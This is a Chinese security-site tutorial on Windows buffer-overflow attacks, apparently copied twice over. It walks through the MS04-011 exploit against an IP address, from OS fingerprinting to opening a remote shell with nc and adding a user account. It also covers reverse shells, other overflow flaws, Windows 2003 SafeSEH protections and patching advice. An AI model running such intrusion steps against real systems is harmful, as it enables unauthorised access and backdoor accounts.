系统漏洞溢出攻击实例(图)
网络安全 2021-07-03 09:19www.168986.cn网络安全知识
我们来看一下以前比较精典的一个溢出实例ms04011溢出
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\windows\system32\cd\
C:\>
C:\>getos 2.159.31.96 (判断操作系统)
----------------------------
THCsmbgetOS v0.1 - gets gro
by Johnny Cyberpunk (
----------------------------
[] Connecting Port 139....
[] Sending session request.
[] Sending negotiation requ
[] Sending setup aount re
[] Suessful....
Remote OS:
----------
WORKGROUP
Windows 2000 LAN Manager
Windows 5.1
C:\>
C:\>ms04011 1 2.159.31.96 (溢出格式)
shellcode size 404
Ret value = 1727
C:\>
C:\>nc 2.159.31.96 1234 (nc进行连接)
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
D:\WINDOWS\system32> (得到目标机shell)
D:\WINDOWS\system32> user test test /add
user test test /add
命令成功完成。 (建立用户)
上面只是简单演示了一下溢出过程,上例是正向溢出,只是直接溢出后用nc进行连接,还可以反向溢出,反向溢出一般用来突破防火墙,先用nc在本机监听一个端口,等待反向溢出的服务器连接过来从而得到一个system权限的shell。对于溢出还有很多,如iis、mso4045、ms04049、ms05039、ms05051、ms06061等还有一些精典的应用程序远程溢出,如未打sp3的mssql远程溢出可以直接得到系统权限。还有imail服务也一样可以通过远程溢出获得系统权限。还有很多病毒如冲击波、震荡波等病毒都是利用的rpc和lsass溢出漏洞,在感染一台机器后又不断的以此机器为节点扫描网络中的其它存在漏洞的机器进行溢出植入病毒程序,这样不断的繁殖下去。
不过在windiws2003下溢出就无用武之地了,因为在2003的保护机制里面还有一个技术是可控的SEH处理函数指针,2003中结构化异常处理例程注册后,它的函数指针会保存在模块中的一个叫Load Configuration Directory的地址列表中,如果函数返回时系统发现堆栈中的Cookie发生了改变,视为溢出,系统就会查看当前线程相关的SEH中是否有相应的处 理函数指针,有的话,系统将该指针与已经注册过函数的地址列表进行对照,如果没有发现匹配的,而且处理函数指针在堆栈中,异常处理函数就不运行。如果该处 理函数指针位于已加载的各个DLL模块地址范围只外,或堆中,处理函数会被执行,这种可控制的异常处理技术就会使传统的覆盖SEH指针的方法失败。虽然可以用已经加载模块以外的地址来覆盖SHE但在远程溢出中仍显得无力。
我们再来看看本地溢出,本地溢出主要用来进行权限提升,前面的serv-u的本地溢出已经注入中讲解了,我们现在再来看一下本地的一个特权提升漏洞,如图
500)this.width=500" title="点击这里用新窗口浏览图片" />
通过执行本地溢出直接从user用户提升到系统权限。
对溢出攻击的安全防范
关闭139端口,停掉icp/ip bios服务。
在本地连接的属性窗口中tcp/ip协议中的高级选项里“禁用tcp/ip上的bios(s)”因为很多溢出都是利用的这个通道。
安装防火墙是必要的。
打上重要漏洞的补丁(如冲击波补丁、震荡波补丁),并开启系统的自动更新功能。
服务器使用windows2003系统。
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\windows\system32\cd\
C:\>
C:\>getos 2.159.31.96 (判断操作系统)
----------------------------
THCsmbgetOS v0.1 - gets gro
by Johnny Cyberpunk (
----------------------------
[] Connecting Port 139....
[] Sending session request.
[] Sending negotiation requ
[] Sending setup aount re
[] Suessful....
Remote OS:
----------
WORKGROUP
Windows 2000 LAN Manager
Windows 5.1
C:\>
C:\>ms04011 1 2.159.31.96 (溢出格式)
shellcode size 404
Ret value = 1727
C:\>
C:\>nc 2.159.31.96 1234 (nc进行连接)
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
D:\WINDOWS\system32> (得到目标机shell)
D:\WINDOWS\system32> user test test /add
user test test /add
命令成功完成。 (建立用户)
上面只是简单演示了一下溢出过程,上例是正向溢出,只是直接溢出后用nc进行连接,还可以反向溢出,反向溢出一般用来突破防火墙,先用nc在本机监听一个端口,等待反向溢出的服务器连接过来从而得到一个system权限的shell。对于溢出还有很多,如iis、mso4045、ms04049、ms05039、ms05051、ms06061等还有一些精典的应用程序远程溢出,如未打sp3的mssql远程溢出可以直接得到系统权限。还有imail服务也一样可以通过远程溢出获得系统权限。还有很多病毒如冲击波、震荡波等病毒都是利用的rpc和lsass溢出漏洞,在感染一台机器后又不断的以此机器为节点扫描网络中的其它存在漏洞的机器进行溢出植入病毒程序,这样不断的繁殖下去。
不过在windiws2003下溢出就无用武之地了,因为在2003的保护机制里面还有一个技术是可控的SEH处理函数指针,2003中结构化异常处理例程注册后,它的函数指针会保存在模块中的一个叫Load Configuration Directory的地址列表中,如果函数返回时系统发现堆栈中的Cookie发生了改变,视为溢出,系统就会查看当前线程相关的SEH中是否有相应的处 理函数指针,有的话,系统将该指针与已经注册过函数的地址列表进行对照,如果没有发现匹配的,而且处理函数指针在堆栈中,异常处理函数就不运行。如果该处 理函数指针位于已加载的各个DLL模块地址范围只外,或堆中,处理函数会被执行,这种可控制的异常处理技术就会使传统的覆盖SEH指针的方法失败。虽然可以用已经加载模块以外的地址来覆盖SHE但在远程溢出中仍显得无力。
我们再来看看本地溢出,本地溢出主要用来进行权限提升,前面的serv-u的本地溢出已经注入中讲解了,我们现在再来看一下本地的一个特权提升漏洞,如图
500)this.width=500" title="点击这里用新窗口浏览图片" />
通过执行本地溢出直接从user用户提升到系统权限。
对溢出攻击的安全防范
关闭139端口,停掉icp/ip bios服务。
在本地连接的属性窗口中tcp/ip协议中的高级选项里“禁用tcp/ip上的bios(s)”因为很多溢出都是利用的这个通道。
安装防火墙是必要的。
打上重要漏洞的补丁(如冲击波补丁、震荡波补丁),并开启系统的自动更新功能。
服务器使用windows2003系统。
上一篇:介绍黑客入侵Windows XP的常用方法
下一篇:黑客的脚本漏洞工具分析(图)
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座